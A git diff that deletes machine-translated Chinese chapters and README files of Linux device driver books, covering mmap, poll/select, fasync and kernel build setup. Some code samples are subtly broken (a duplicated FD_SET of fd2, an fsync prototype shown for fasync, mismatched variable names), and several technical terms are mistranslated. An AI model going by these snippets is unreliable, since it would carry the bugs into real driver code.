file *, struct vm_area_struct *); -``` - -除了我们已经完全知道的通常的`struct file`指针之外,这个函数还需要`vma`参数(它是指向`struct vm_area_struct`的指针),用于指示虚拟地址空间,驱动应该在其中映射内存。 - -A struct `vm_area_struc`t holds information about a contiguous virtual memory area, which is characterized by a start address, a stop address, length, and permissions. -Each process owns more virtual memory areas, which can be inspected by looking at the relative procfs file named `/proc//maps` (where `` is the PID number of the process). -The virtual memory areas are a really complex part of Linux memory manager, which is not covered in this book. Curious readers can take a look at [https://www.kernel.org/doc/html/latest/admin-guide/mm/index.html](https://www.kernel.org/doc/html/latest/admin-guide/mm/index.html) for further information. - -物理地址到用户地址空间的映射,如`vma`参数所指示的,可以很容易地使用助手函数来完成,如`remap_pfn_range()`,在头文件`linux/include/linux/mm.h`中定义如下: - -```sh -int remap_pfn_range(structure vm_area_struct *vma, - unsigned long addr, - unsigned long pfn, unsigned long size, - pgprot_t prot); -``` - -它将把由`pfn`寻址的连续物理地址空间映射到由`vma`指针表示的虚拟空间。具体而言,这些参数是: - -* `vma` -进行映射的虚拟内存空间 -* `addr` -重新映射开始的虚拟地址空间 -* `pfn` -虚拟地址应映射到的物理地址(用页面帧号表示) -* `size` -要映射的内存的字节大小 -* `prot` -该映射的保护标志 - -因此,一个真正简单的`mmap()`实现,将外围设备视为在物理地址`base_addr`具有存储区域并且大小为`area_len`,可以如下进行: - -```sh -static int my_mmap(struct file *filp, struct vm_area_struct *vma) -{ - struct my_device *my_ptr = filp->private_data; - size_t size = vma->vm_end - vma->vm_start; - phys_addr_t offset = (phys_addr_t) vma->vm_pgoff << PAGE_SHIFT; - unsigned long pfn; - - /* Does it even fit in phys_addr_t? */ - if (offset >> PAGE_SHIFT != vma->vm_pgoff) - return -EINVAL; - - /* We cannot mmap too big areas */ - if ((offset > my_ptr->area_len) || - (size > my_ptr->area_len - offset)) - return -EINVAL; - - /* Remap-pfn-range will mark the range VM_IO */ - if (remap_pfn_range(vma, vma->vm_start, - my_ptr->base_addr, size, - vma->vm_page_prot)) - return -EAGAIN; - - return 0; -} -``` - -最后,我们必须记住`remap_pfn_range()`使用物理地址工作,而使用`kmalloc()`或`vmalloc()`函数和友元分配的内存(参见[第 6 章](https://cdp.packtpub.com/linux_device_driver_development_cookbook/wp-admin/post.php?post=30&action=edit#post_29)、*杂项内核内部部件*)必须使用不同的方法进行管理。对于`kmalloc()`,我们可以使用类似下面的东西来获得`pfn`参数: - -```sh -unsigned long pfn = virt_to_phys(kvirt) >> PAGE_SHIFT; -``` - -其中 kvirt 是`kmalloc()`返回的待重映射的内核虚拟地址,对于`vmalloc()`我们可以做如下操作: - -```sh -unsigned long pfn = vmalloc_to_pfn(vvirt); -``` - -这里,`vvirt`是`vmalloc()`返回的要重映射的内核虚拟地址。 - -请注意,用`vmalloc()`分配的内存在物理上不是连续的,所以如果我们想映射一个用它分配的范围,我们必须单独映射每一页,并计算每一页的物理地址。这是一个更复杂的操作,由于与设备驱动无关(真正的外设只使用物理地址),本书没有对此进行解释。 - -# 锁定流程上下文 - -很好地理解了如何避免比赛条件,以防不止一个进程试图访问我们的驱动,或者如何在我们的驱动没有数据可提供的情况下让读取进程休眠(我们在这里谈论读取,但同样的事情也适用于写入)。这里将介绍前者,而后者将在下一节中介绍。 - -如果我们看一下`read()`和`write()`系统调用是如何在我们的 chrdev 驱动中实现的,我们可以很容易地注意到,如果多个进程尝试进行`read()`调用,或者即使一个进程尝试进行`read()`调用,另一个进程尝试进行`write()`调用,也会发生争用情况。这是因为 ESPRESSObin 的 CPU 是由两个内核组成的多处理器,因此它可以有效地同时执行两个进程。 - -然而,即使我们的系统只有一个内核,这些方法的关键部分中的`read()`或`write()`代码仍然可能以交错(即非原子)的方式执行,因为例如函数`copy_to_user()`和`copy_from_user()`可能会使调用进程休眠,因此调度程序可能会撤销其中一个进程的中央处理器,转而调用同一驱动的`read()`或`write()`方法。 - -为了避免这些情况下可能出现的竞争情况,一个真正可靠的解决方案是使用互斥锁,如[第 5 章](05.html)、*管理中断和并发*中所述。 - -我们只需要为每个 chrdev 设备提供一个互斥体,以保护对驱动方法的多次访问。 - -# 使用轮询()和选择()等待输入/输出操作 - -在现代计算机这样的复杂系统中,拥有几个有用的外设来获取有关外部环境和/或系统状态的信息是很常见的。有时,我们可能会使用不同的进程来管理它们,但我们可能需要一次管理多个外围设备,但只能使用一个进程。 - -在这个场景中,我们可以想象在每个外设上做几个`read()`系统调用来获取它的数据,但是如果一个外设速度相当慢,并且需要很多时间来返回它的数据,会发生什么呢?如果我们执行以下操作,我们可能会减慢所有数据采集速度(如果一个外设没有接收到新数据,甚至会将其锁定): - -```sh -fd1 = open("/dev/device1", ...); -fd2 = open("/dev/device2", ...); -fd3 = open("/dev/device3", ...); - -while (1) { - read(fd1, buf1, size1); - read(fd2, buf2, size2); - read(fd3, buf3, size3); - - /* Now use data from peripherals */ - ... -} -``` - -事实上,如果一个外设速度慢,或者需要很长时间才能返回数据,我们的循环就会停止等待,我们的程序可能无法正常工作。 - -一种可能的解决方案是在有问题的外围设备上,甚至在所有外围设备上使用`O_NONBLOCK`标志,但是这样做我们可能会用不必要的系统调用使 CPU 过载。让内核告诉我们哪个文件描述符属于保存准备读取的数据(或者可以自由写入的数据)的外围设备,可能会更优雅(也更高效)。 - -为此,我们可以使用`poll()`或`select()`系统调用。`poll()`手册页声明如下: - -```sh -NAME - poll, ppoll - wait for some event on a file descriptor - -SYNOPSIS - #include - - int poll(struct pollfd *fds, nfds_t nfds, int timeout); - - #define _GNU_SOURCE /* See feature_test_macros(7) */ - #include - #include - - int ppoll(struct pollfd *fds, nfds_t nfds, - const struct timespec *tmo_p, const sigset_t *sigmask); -``` - -另一方面,`select()`手册页如下: - -```sh -NAME - select, pselect, FD_CLR, FD_ISSET, FD_SET, FD_ZERO - synchronous I/O - multiplexing - -SYNOPSIS - /* According to POSIX.1-2001, POSIX.1-2008 */ - #include - - /* According to earlier standards */ - #include - #include - #include - - int select(int nfds, fd_set *readfds, fd_set *writefds, - fd_set *exceptfds, struct timeval *timeout); - - void FD_CLR(int fd, fd_set *set); - int FD_ISSET(int fd, fd_set *set); - void FD_SET(int fd, fd_set *set); - void FD_ZERO(fd_set *set); -``` - -即使他们看起来很不一样,他们做的事情几乎是一样的;事实上,在内核内部,它们是通过使用相同的`poll()`方法来实现的,该方法在众所周知的`struct file_operations`内部定义如下(参见`linux/include/linux/fs.h`文件): - -```sh -struct file_operations { -... - __poll_t (*poll) (struct file *, struct poll_table_struct *); -``` - -从内核来看,`poll()`方法的实现真的很简单;我们只需要上面使用的 waitqueue,然后我们必须验证我们的设备是否有一些数据要返回。简单来说,一个通用的`poll()`方法如下: - -```sh -static __poll_t simple_poll(struct file *filp, poll_table *wait) -{ - struct simple_device *chrdev = filp->private_data; - __poll_t mask = 0; - - poll_wait(filp, &simple_device->queue, wait); - - if (has_data_to_read(simple_device)) - mask |= EPOLLIN | EPOLLRDNORM; - - if (has_space_to_write(simple_device)) - mask |= EPOLLOUT | EPOLLWRNORM; - - return mask; -} -``` - -我们只需使用`poll_wait()`函数告诉内核驱动使用哪个 waitqueue 来让读或写进程进入睡眠,然后我们返回等于 0 的变量`mask`;如果没有数据准备好被读取,或者我们不能接受新数据写入,如果有东西要按位读取,并且我们也愿意接受该数据,我们返回`EPOLLIN | EPOLLRDNORM`值。 - -All of the available `poll()` events are defined in the header file `linux/include/uapi/linux/eventpoll.h`. - -一旦`poll()`方法已经实现,我们就可以使用它,比如说`select()`,如下图所示: - -```sh -fd_set read_fds; - -fd1 = open("/dev/device1", ...); -fd2 = open("/dev/device2", ...); -fd3 = open("/dev/device3", ...); - -while (1) { - FD_ZERO(&read_fds); - FD_SET(fd1, &read_fds); - FD_SET(fd2, &read_fds); - FD_SET(fd2, &read_fds); - - select(FD_SETSIZE, &read_fds, NULL, NULL, NULL); - - if (FD_ISSET(fd1, &read_fds)) - read(fd1, buf1, size1); - if (FD_ISSET(fd2, &read_fds)) - read(fd2, buf2, size2); - if (FD_ISSET(fd3, &read_fds)) - read(fd3, buf3, size3); - - /* Now use data from peripherals */ - ... -} -``` - -打开所有需要的文件描述符后,我们必须使用`FD_ZERO()`宏清除`read_fds`变量,然后使用`FD_SET()`宏将每个文件描述符添加到由`read_fds`表示的读取过程集中。完成后,我们可以将`read_fds`传递到`select()`以向内核指出要观察哪些文件描述符。 - -Note that, usually, we should pass, as the first parameter of the `select()` system call, the highest number plus 1 of the file descriptors within the observed set; however, we can also pass the `FD_SETSIZE` value, which is the maximum allowed value permitted by the system. This can be a very large value, so programming this way leads to inefficiency in scanning the whole file descriptor bitmap; good programmers should use the maximum value plus 1 instead. -Note, also, that our example is valid for reading, but exactly the same can be used for writing! - -# 使用 fasync()管理异步通知 - -在前一节中,我们考虑了一种特殊情况,在这种情况下,我们可以拥有一个必须管理多个外围设备的进程。在这种情况下,我们可以使用`poll()`或`select()`系统调用,询问内核,即就绪文件描述符,从哪里获取数据,或者向哪里写入数据。然而,这不是唯一的解决办法。另一种可能是使用`fasync()`法。 - -通过使用这种方法,每当文件描述符上出现新事件时,我们可以要求内核发送一个信号(通常是`SIGIO`);当然,该事件是一个可读取或可读写的事件,而文件描述符是与我们的外设相连的描述符。 - -由于本书中已经介绍的方法,`fasync()`方法没有用户空间对应物;根本没有`fasync()`系统调用。我们可以利用`fcntl()`系统调用间接使用它。如果我们看一下它的手册页,我们会看到以下内容: - -```sh -NAME - fcntl - manipulate file descriptor - -SYNOPSIS - #include - #include - - int fcntl(int fd, int cmd, ... /* arg */ ); - -... - - F_SETOWN (int) - Set the process ID or process group ID that will receive SIGIO - and SIGURG signals for events on the file descriptor fd. The - target process or process group ID is specified in arg. A - process ID is specified as a positive value; a process group ID - is specified as a negative value. Most commonly, the calling - process specifies itself as the owner (that is, arg is specified - as getpid(2)). -``` - -现在,让我们一步一步来。从内核的角度来看,我们必须实现`fasync()`方法,该方法通常在`struct file_operations`内定义,如下所示(参见`linux/include/linux/fs.h`文件): - -```sh -struct file_operations { -... - int (*fsync) (struct file *, loff_t, loff_t, int datasync); -``` - -它的实现非常简单,因为通过使用`fasync_helper()`助手函数,我们只需要为通用驱动报告以下步骤: - -```sh -static int simple_fasync(int fd, struct file *filp, int on) -{ - struct simple_device *simple = filp->private_data; - - return fasync_helper(fd, filp, on, &simple->fasync_queue); -} -``` - -其中`fasync_queue`是`struct fasync_struct`的指针,每当驱动准备好进行读取或写入操作时,内核使用该指针将所有对接收`SIGIO`信号感兴趣的进程排队。使用`kill_fasync()`功能通知这些事件,通常是在中断处理程序中,或者当我们知道新数据已经到达或准备写入时: - -```sh -kill_fasync(&simple->fasync_queue, SIGIO, POLL_IN); -``` - -请注意,当数据可供读取时,我们必须使用`POLL_IN`,而当我们的外设准备好接受新数据时,我们应该使用`POLL_OUT`。 - -Please see the  `linux/include/uapi/asm-generic/siginfo.h` file for all available `POLL_*` definitions.  - -从用户空间的角度来看,我们需要采取一些步骤来实现`SIGIO`信号: - -1. 首先,我们必须安装一个合适的信号处理器。 -2. 然后我们必须用`F_SETOWN`命令调用`fcntl()`来设置进程标识(通常称为进程标识),该进程标识将接收与我们的设备相关的`SIGIO`(由文件描述符`fd`寻址)。 -3. 然后我们必须通过设置`FASYNC`位来改变描述文件访问模式的`flags`。 - -一种可能的实现如下: - -```sh -long flags; - -fd = open("/dev/device", ...); - -signal(SIGIO, sigio_handler); - -fcntl(fd, F_SETOWN, getpid()); - -flags = fcntl(fd, F_GETFL); - -fcntl(fd, F_SETFL, flags | FASYNC); -``` \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/README.md b/docs/linux-device-driver-dev-cb/README.md deleted file mode 100644 index ee78f881..00000000 --- a/docs/linux-device-driver-dev-cb/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Linux 设备驱动开发秘籍 - -> 原文:[Linux Device Driver Development Cookbook](https://libgen.rs/book/index.php?md5=6B7A321F07B3F3827350A558F12EF0DA) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/linux-device-driver-dev-cb/SUMMARY.md b/docs/linux-device-driver-dev-cb/SUMMARY.md deleted file mode 100644 index 02d7168d..00000000 --- a/docs/linux-device-driver-dev-cb/SUMMARY.md +++ /dev/null @@ -1,14 +0,0 @@ -+ [Linux 设备驱动开发秘籍](README.md) -+ [零、前言](00.md) -+ [一、安装开发系统](01.md) -+ [二、内核内部一览](02.md) -+ [三、使用字符驱动](03.md) -+ [四、使用设备树](04.md) -+ [五、管理中断和并发](05.md) -+ [六、内核内部杂项](06.md) -+ [七、高级字符驱动操作](07.md) -+ [八、附加信息:使用字符驱动](08.md) -+ [九、附加信息:使用设备树](09.md) -+ [十、附加信息:管理中断和并发](10.md) -+ [十一、附加信息:内核内部杂项](11.md) -+ [十二、附加信息:高级字符驱动操作](12.md) diff --git a/docs/linux-device-driver-dev/00.md b/docs/linux-device-driver-dev/00.md deleted file mode 100644 index 0855cd10..00000000 --- a/docs/linux-device-driver-dev/00.md +++ /dev/null @@ -1,144 +0,0 @@ -# 零、前言 - -Linux 内核是一个复杂的、可移植的、模块化的、广泛使用的软件,运行在全球超过一半的设备中约 80%的服务器和嵌入式系统上。设备驱动在一个 Linux 系统表现如何的背景下起着关键的作用。由于 Linux 已经成为最受欢迎的操作系统之一,开发个人设备驱动的兴趣也在稳步增长。 - -设备驱动是通过内核连接用户空间和设备的纽带。 - -这本书将以两章开始,这两章将帮助您理解驱动的基础知识,并为您通过 Linux 内核的漫长旅程做好准备。然后,本书将涵盖基于 Linux 子系统的驱动开发,如内存管理、脉宽调制、实时时钟、IIO、通用输入输出、内部时钟管理。这本书还将涵盖直接内存访问和网络设备驱动的实用方法。 - -本书的源代码已经在 x86 PC 和 SECO 的 UDOO Quad 上进行了测试,后者基于恩智浦的 ARM i.MX6,具有足够的特性和连接,可以覆盖本书讨论的所有测试。还提供了一些驱动,用于测试廉价组件,如 MCP23016 和 24LC512,它们分别是 I2C GPIO 控制器和 eeprom 存储器。 - -到本书结束时,您将对设备驱动开发的概念感到满意,并且能够使用最新的内核版本(编写时为 v4.13)从头开始编写任何设备驱动。 - -# 这本书涵盖了什么 - -*[第 1 章](01.html#LTSU0-dbde2ca892a6480b9727afb6a9c9e924)【内核开发入门】*介绍 Linux 内核开发流程。本章将讨论内核的下载、配置和编译步骤,以及 x86 和基于 ARM 的系统 - -*[第二章](02.html#10DJ40-dbde2ca892a6480b9727afb6a9c9e924)【设备驱动基础】*通过内核模块来处理 Linux 模块化,并描述了它们的加载/卸载。它还描述了驱动体系结构和一些基本概念以及一些内核最佳实践。 - -*[第 3 章](03.html#1S2JE0-dbde2ca892a6480b9727afb6a9c9e924)【内核设施和助手函数】*介绍了常用的内核函数和机制,例如工作队列、等待队列、互斥体、自旋锁以及任何其他有助于提高驱动可靠性的设施。 - -*[第 4 章](04.html#3JCK20-dbde2ca892a6480b9727afb6a9c9e924),角色设备驱动*,重点介绍通过角色设备将设备功能导出到用户空间,以及使用 IOCTL 接口支持自定义命令。 - -*[第五章](05.html#4B7I40-dbde2ca892a6480b9727afb6a9c9e924),平台设备驱动*,解释了什么是平台设备,介绍了伪平台总线的概念,以及设备和总线的匹配机制。本章以一般方式描述平台驱动体系结构,以及如何处理平台数据。 - -*[第 6 章](06.html#4QFR40-dbde2ca892a6480b9727afb6a9c9e924)【设备树的概念】*讨论了向内核提供设备描述的机制。本章解释了设备寻址、资源处理、DT 中支持的每种数据类型及其内核 API。 - -*[第 7 章](http://i2c)、I2C 客户端驱动*,深入研究了 I2C 设备驱动架构、数据结构以及总线上的设备寻址和访问方法。 - -*[第八章](08.html#65D4E0-dbde2ca892a6480b9727afb6a9c9e924),SPI 设备驱动*,描述了基于 SPI 的设备驱动架构,以及涉及的数据结构。本章讨论每个设备的访问方法和特性,以及应该避免的陷阱。还讨论了 SPI DT 绑定。 - -*[第 9 章](09.html#6MIEI0-dbde2ca892a6480b9727afb6a9c9e924),Regmap API–一个寄存器映射抽象*,概述了 Regmap API,以及它如何抽象底层的 SPI 和 I2C 事务。本章描述了通用应用编程接口以及专用应用编程接口。 - -*[第 10 章](10.html#73TME0-dbde2ca892a6480b9727afb6a9c9e924)、IIO 框架*,介绍内核数据采集和测量框架,来处理数模转换器(DAC)和模数转换器(ADC)。本文介绍了 IIO API,讨论了触发缓冲区和连续数据捕获,并通过 sysfs 接口研究了单通道采集。 - -*[第十一章](11.html#7TLLK0-dbde2ca892a6480b9727afb6a9c9e924),内核内存管理*,首先介绍了虚拟内存的概念,以此来描述整个内核的内存布局。本章介绍了内核内存管理子系统,讨论了内存分配和映射、它们的 API 和这种机制中涉及的所有设备,以及内核缓存机制。 - -*[第十二章](12.html#95ND80-dbde2ca892a6480b9727afb6a9c9e924),DMA–直接内存访问*,介绍 DMA 及其新的内核 API:DMA 引擎 API。本章将讨论不同的 DMA 映射,并描述如何解决缓存一致性问题。此外,本章还基于恩智浦的 i.MX6 SoC,总结了用例中的全部概念。 - -*[第 13 章](13.html#9NR7U0-dbde2ca892a6480b9727afb6a9c9e924),Linux 设备模型*,概述了 Linux 的核心,描述了对象在内核中是如何表示的,以及 Linux 是如何以通用的方式在引擎盖下设计的,从 kobject 开始到设备,通过总线、类和设备驱动。本章还强调了用户空间中有时未知的一面,即 sysfs 中的内核对象层次结构。 - -*[第 14 章](14.html#ADP4S0-dbde2ca892a6480b9727afb6a9c9e924)、引脚控制和 GPIO 子系统*描述了内核 pincontrol API 和 GPIOLIB,GPIOLIB 是处理 GPIO 的内核 API。本章还讨论了旧的和不推荐使用的基于整数的 GPIO 接口,以及新的基于描述符的接口,最后,还讨论了在 DT 中配置它们的方式。 - -*[第 15 章](15.html#B1Q0M0-dbde2ca892a6480b9727afb6a9c9e924),GPIO 控制器驱动–GPIO _ chip*,编写此类设备驱动的必要元素。也就是说,它的主要数据结构是 struct gpio_chip。这一结构在本章中有详细的解释,以及在书的来源中提供的一个完整的和工作的驱动。 - -*[第 16 章](16.html#B7H420-dbde2ca892a6480b9727afb6a9c9e924),高级 IRQ 管理*,揭开 Linux IRQ 内核的神秘面纱。本章介绍 Linux IRQ 管理,从中断在系统上的传播开始,然后到中断控制器驱动,从而解释了使用 Linux IRQ 域 API 的 IRQ 多路复用的概念 - -*[第 17 章](17.html#BIVAQ0-dbde2ca892a6480b9727afb6a9c9e924),输入设备驱动*,提供了输入子系统的全局视图,处理基于 IRQ 和轮询的输入设备,并介绍了两种 API。本章解释并展示了用户空间代码如何处理此类设备。 - -*[第 18 章](18.html#BRHVS0-dbde2ca892a6480b9727afb6a9c9e924)【RTC 驱动】*走完并揭开 RTC 子系统及其 API 的神秘面纱。这一章足够深入,解释了如何处理来自 RTC 驱动的警报 - -*[第 19 章](19.html#C535G0-dbde2ca892a6480b9727afb6a9c9e924)【PWM 驱动】*提供了 PWM 框架的完整描述,谈到了控制器端 API 以及消费者端 API。本章最后一节讨论了用户空间的脉宽调制管理。 - -*[第 20 章](20.html#CCNA00-dbde2ca892a6480b9727afb6a9c9e924)【监管框架】*强调了电源管理的重要性。本章的第一部分涉及电源管理集成电路(PMIC),并解释其驱动设计和应用编程接口。第二部分集中在消费者方面,谈的是请求和使用监管机构。 - -*[第 21 章](21.html#D3JNG0-dbde2ca892a6480b9727afb6a9c9e924),Framebuffer 驱动*,解释了 framebuffer 的概念及其工作原理。它还展示了如何设计 framebuffer 驱动,介绍了它的 API,并讨论了加速和非加速方法。本章展示了驱动如何公开 framebuffer 内存,以便用户可以写入空间,而不用担心底层任务。 - -*[第 22 章](22.html#DF1U80-dbde2ca892a6480b9727afb6a9c9e924),网卡驱动*,走完网卡驱动的架构和它们的数据结构,从而向你展示如何处理设备配置、数据传输和套接字缓冲。 - -# 这本书你需要什么 - -这本书假设了对 Linux 操作系统的中等水平的理解,C 编程的基本知识(至少指针处理)。仅此而已。如果给定章节需要额外技能,将向读者提供文档参考链接,以快速学习这些技能。 - -Linux 内核编译是一项相当漫长而繁重的任务。最低硬件或虚拟要求如下: - -* CPU: 4 色 -* 内存:4 GB 内存 -* 可用磁盘空间:5 GB(足够大) - -在本书中,您将需要以下软件列表: - -* Linux 操作系统:最好是基于 Debian 的发行版,例如在书中使用的(Ubuntu 16.04) -* 至少是 gcc 和 gcc-arm-linux 的第 5 版(如书中所用) - -其他必要的包在本书的专门章节中描述。下载内核源代码需要互联网连接。 - -# 这本书是给谁的 - -为了利用这本书的内容,需要有 C 编程的基本知识和 Linux 命令的基础知识。这本书涵盖了广泛使用的嵌入式设备的 Linux 驱动开发,使用了内核版本 v4.1,并涵盖了直到编写本书时的最后一个版本(v4.13)的变化。这本书主要面向嵌入式工程师、Linux 系统管理员、开发人员和内核黑客。无论你是软件开发人员、系统架构师,还是愿意钻研 Linux 驱动开发的制造商,这本书都是为你准备的。 - -# 约定 - -在这本书里,你会发现许多区分不同种类信息的文本样式。以下是这些风格的一些例子和对它们的意义的解释。文本中的码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、伪 URL、用户输入和 Twitter 句柄如下所示:“在板特定文件中注册设备时,`.name`字段必须与您给出的设备名称相同”。 - -代码块设置如下: - -```sh -#include -#include -``` - -任何命令行输入或输出都编写如下: - -```sh - sudo apt-get update - sudo apt-get install linux-headers-$(uname -r) -``` - -**新名词**和**重要词语**以粗体显示。 - -Warnings or important notes appear like this. Tips and tricks appear like this. - -# 读者反馈 - -我们随时欢迎读者的反馈。让我们知道你对这本书的看法——你喜欢或不喜欢什么。读者反馈对我们来说很重要,因为它有助于我们开发出你真正能从中获益的标题。要给我们发送一般反馈,只需发送电子邮件`feedback@packtpub.com`,并在您的邮件主题中提及书名。如果您对某个主题有专业知识,并且对写作或投稿感兴趣,请参见我们位于[www.packtpub.com/authors](http://www.packtpub.com/authors)的作者指南。 - -# 客户支持 - -现在,您已经自豪地拥有了一本书,我们有许多东西可以帮助您从购买中获得最大收益。 - -# 下载示例代码 - -你可以从你在[http://www.packtpub.com](http://www.packtpub.com)的账户下载这本书的示例代码文件。如果您在其他地方购买了这本书,您可以访问[http://www.packtpub.com/support](http://www.packtpub.com/support)并注册将文件直接通过电子邮件发送给您。您可以按照以下步骤下载代码文件: - -1. 使用您的电子邮件地址和密码登录或注册我们的网站。 -2. 将鼠标指针悬停在顶部的“支持”选项卡上。 -3. 点击代码下载和勘误表。 -4. 在搜索框中输入图书的名称。 -5. 选择要下载代码文件的书籍。 -6. 从您购买这本书的下拉菜单中选择。 -7. 点击代码下载。 - -下载文件后,请确保使用最新版本的解压缩文件夹: - -* 视窗系统的 WinRAR / 7-Zip -* zipeg/izp/un ARX for MAC -* 适用于 Linux 的 7-Zip / PeaZip - -这本书的代码包也托管在 GitHub 上,网址为[https://GitHub . com/PacktPublishing/Linux-设备-驱动-开发](https://github.com/PacktPublishing/Linux-Device-Drivers-Development)。我们还有来自丰富的图书和视频目录的其他代码包,可在[https://github.com/PacktPublishing/](https://github.com/PacktPublishing/)获得。看看他们! - -# 下载这本书的彩色图片 - -我们还为您提供了一个 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。彩色图像将帮助您更好地理解输出中的变化。您可以从[https://www . packtpub . com/sites/default/files/downloads/LinuxDeviceDriversDevelopment _ color images . pdf](https://www.packtpub.com/sites/default/files/downloads/LinuxDeviceDriversDevelopment_ColorImages.pdf)下载此文件。 - -# 正误表 - -尽管我们尽了最大努力来确保我们内容的准确性,但错误还是会发生。如果你在我们的某本书里发现一个错误,也许是文本或代码中的错误,如果你能向我们报告,我们将不胜感激。通过这样做,你可以让其他读者免受挫折,并帮助我们改进这本书的后续版本。如果您发现任何勘误表,请访问[http://www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata),选择您的书籍,点击勘误表提交表格链接,并输入您的勘误表的详细信息。一旦您的勘误表得到验证,您的提交将被接受,勘误表将上传到我们的网站或添加到该标题勘误表部分下的任何现有勘误表列表中。要查看之前提交的勘误表,请前往[https://www.packtpub.com/books/content/support](https://www.packtpub.com/books/content/support)并在搜索栏中输入图书名称。所需信息将出现在勘误表部分。 - -# 海盗行为 - -在互联网上盗版受版权保护的材料是一个贯穿所有媒体的持续问题。在 Packt,我们非常重视版权和许可证的保护。如果您在互联网上遇到任何形式的我们作品的非法拷贝,请立即向我们提供位置地址或网站名称,以便我们寻求补救。请通过`copyright@packtpub.com`联系我们,获取疑似盗版资料的链接。我们感谢您在保护我们的作者方面的帮助,以及我们为您带来有价值内容的能力。 - -# 问题 - -如果您对本书的任何方面有问题,可以在`questions@packtpub.com`联系我们,我们将尽最大努力解决问题。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/01.md b/docs/linux-device-driver-dev/01.md deleted file mode 100644 index 1910cd9a..00000000 --- a/docs/linux-device-driver-dev/01.md +++ /dev/null @@ -1,241 +0,0 @@ -# 一、内核开发简介 - -1991 年,Linux 作为一个业余爱好项目,由芬兰学生莱纳斯·托瓦尔兹发起。该项目已逐渐发展壮大,目前仍在发展,全球约有 1000 名参与者。如今,无论是在嵌入式系统还是在服务器上,Linux 都是必不可少的。内核是操作系统的中心部分,它的发展并不那么明显。 - -与其他操作系统相比,Linux 提供了许多优势: - -* 这是免费的 -* 在一个大型社区中有很好的记录 -* 可跨不同平台移植 -* 提供对源代码的访问 -* 许多免费的开源软件 - -这本书尽量通俗易懂。有一个特殊的主题,设备树,它还不是一个完整的 x86 特性。该主题将专门讨论 ARM 处理器,以及所有完全支持设备树的处理器。为什么是那些建筑?因为它们最常用于台式机和服务器(对于 x86)以及嵌入式系统(ARM)。 - -除其他外,本章涉及: - -* 开发环境设置 -* 获取、配置和构建内核源代码 -* 内核源代码组织 -* 内核编码风格介绍 - -# 环境设置 - -在开始任何开发之前,您需要设置一个环境。专用于 Linux 开发的环境非常简单,至少在基于 Debian 的系统上是如此: - -```sh - $ sudo apt-get update - $ sudo apt-get install gawk wget git diffstat unzip texinfo \ - gcc-multilib build-essential chrpath socat libsdl1.2-dev \ - xterm ncurses-dev lzop -``` - -本书有部分代码兼容 ARM **片上系统** ( **SoC** )。还应该安装`gcc-arm`: - -```sh - sudo apt-get install gcc-arm-linux-gnueabihf -``` - -我运行的是 Ubuntu 16.04,在华硕 RoG 上,搭载了英特尔酷睿 i7 (8 个物理内核),16gb RAM,256 GB SSD,1 TB 磁硬盘。我最喜欢的编辑器是 Vim,但是你可以自由使用你最熟悉的编辑器。 - -# 获取来源 - -在早期的内核时代(直到 2003 年),奇偶版本风格被使用;奇数稳定,偶数不稳定。当 2.6 版本发布时,版本方案切换到 X.Y.Z,其中: - -* `X`:这是实际内核的版本,也叫 major,当有向后不兼容的 API 变化时,它会递增 -* `Y`:这是一个小版本,在以向后兼容的方式添加了一个功能之后,它增加了 -* `Z`:这也叫 PATCH,代表了相对于 bug 修复的版本 - -这叫语义版本化,一直用到 2.6.39 版本;当 Linus Torvalds 决定将版本提升到 3.0 时,这也意味着 2011 年语义版本化的结束,然后,采用了 X.Y 方案。 - -当谈到 3.20 版本时,Linus 认为他不能再增加 Y,并决定切换到任意版本化方案,每当 Y 变得足够大以至于他用完手指和脚趾来计数时,就增加 X。这就是版本直接从 3.20 升级到 4.0 的原因。看看:[https://plus.google.com/+LinusTorvalds/posts/jmtzzLiiejc](https://plus.google.com/+LinusTorvalds/posts/jmtzzLiiejc)。 - -现在内核使用任意的 X.Y 版本化方案,与语义版本化无关。 - -# 来源组织 - -为了满足本书的需要,您必须使用 Linus Torvald 的 Github 存储库。 - -```sh - git clone https://github.com/torvalds/linux - git checkout v4.1 - ls -``` - -* `arch/`:Linux 内核是一个快速成长的项目,支持越来越多的架构。也就是说,内核希望尽可能通用。特定于体系结构的代码与其他代码是分开的,属于这个目录。该目录包含特定于处理器的子目录,如`alpha/`、`arm/`、`mips/`、`blackfin/`等。 -* `block/`:这个目录包含块存储设备的代码,其实就是调度算法。 -* `crypto/`:该目录包含加密 API 和加密算法代码。 -* `Documentation/`:这应该是你最喜欢的目录。它包含用于不同内核框架和子系统的 API 